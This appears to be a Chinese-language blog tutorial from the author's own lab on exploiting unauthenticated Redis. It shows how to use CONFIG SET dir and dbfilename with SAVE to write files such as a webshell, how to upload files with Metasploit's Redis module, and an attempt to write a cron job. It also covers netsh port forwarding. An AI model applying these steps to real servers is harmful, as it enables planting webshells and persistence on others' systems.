文章目录
- Redis未授权访问漏洞@H_502_10@
- 利用@H_502_10@
- @H_502_10@
- 额外遇到的问题@H_502_10@
- Bind多个IP失败@H_502_10@
Redis未授权访问漏洞
简介
利用redis配置不当,或弱密码(反正就是能拿到redis的权限),然后利用redis做一系列操作。
利用
写文件
知识点
命令:CONfig GET dir
获取数据库的存储路径(文件将会保存的地方,当然可以使用SET进行设置,如果有权限的话)
命令:CONfig GET dbfilename
获取数据库文件名,默认是dump.rdb
(通过SET设置为webshell.PHP等任意文件格式,然后利用)
命令:SAVE
保存当前数据库(将数据库内的内容写到文件中,上面给出了文件的路径和名称)
示例
-
配置文件保存路径
查看命令:CONfig GET dir
设置命令:CONfig SET dir <新的文件路径>
(配置新的文件路径时,确保redis对其有相关的访问权限,这里使用的便是redis默认的文件保存路径)
@H_502_10@ -
配置文件名
查看命令:CONfig GET dbfilename
设置命令:CONfig SET dbfilename <新的文件名称>
@H_502_10@ -
设置数据
命令:SET <需要保存的数据>
@H_502_10@ -
保存
命令:SAVE
(这里保存失败,有可能是redis对设置的文件路径没有访问权限,具体可以查看redis的日志文件观察错误信息)开始时配置了自定义路径,redis没有访问权限,导致保存失败,查看日志发现了问题,改回默认路径后解决了。
自定义访问路径
失败日志(日志默认路径
/var/log/redis/redis-server.log
)
目录下出现了对应文件
@H_502_10@
上传文件
知识点
采用的是Metasploit
中redis的upload模块
其原理是和文件上传一样的
示例
-
搜索并采用
upload
模块
@H_502_10@ -
配置相关的属性
RHOSTS
:目标IP
RPORT
:目标服务端口
RemoteFile
:目标机器保存文件的绝对路径
LocalFile
:需要上传的文件
FLUSHALL
:是否清空数据库(一般不要,这里只是为了测试)
@H_502_10@ -
执行
成功
失败,很大可能是路径访问权限问题
@H_502_10@
写计划任务(没有成功)
知识点
命令:flushall
清空所有key,一般不使用,清空key是为了写计划任务时防止破坏文件格式
命令:CONfig SET dir [path]
设置文件保存路径,一般计划任务文件存储路径为/var/spool/cron
命令:SET key "..."
设置键值,也是将写入文件的内容
命令:CONfig SET dbfilename ...
设置文件名(需要什么写什么,木马、计划任务、网页等等)
Linux定时计划任务
命令:sudo crontab [-u user] [-i] {-e|-l|-r}
计划任务文件格式:
# 执行命令使用额shell,默认是sh
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
启动Syslog日志服务,记录定时任务计划执行状态
命令:sudo /etc/init.d/rsyslog start
于是简单了解下Linux中Crontab计划任务 Link
遇到的问题
额外遇到的问题
Bind多个IP失败
简述
默认只允许127.0.0.1
的本地连接,想要让外部机器访问,需要设置配置文件redis.conf
中的bind <ip>
它允许设置多个IP,如bind ip1 ip2 [ip...]
但我其中一个环境ok,另一个环境不行,在出问题的环境下采用了端口映射的方法绕过。
环境
Windows 10(服务端)
WSL ubuntu-18.04(redis服务需要环境)
Redis-4.0.9
kali(访问端)
过程
-
配置Windows端口映射
@H_502_10@
由于只允许回环地址127.0.0.1:6379
进行访问,我们将本地IP端口映射到回环地址上
命令:netsh interface protproxy add v4tov4 listenaddress=<本地IP> listenport=<监听的端口> connectaddress=127.0.0.1 connectport=6379
-
校验是否成功
第一次校验,校验端口是否成功映射
命令:netsh interface protproxy show all
第二次校验,校验是否能连接上
@H_502_10@
命令:redis-cli -h <本地IP> -p <监听的端口>
-
防护墙设置
@H_502_10@
第二步完成后表示映射已经可以使用了,但使用另一台机器访问redis时可能还是不行,这是由于防火墙拦截了,这里列出两种解决方法。
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。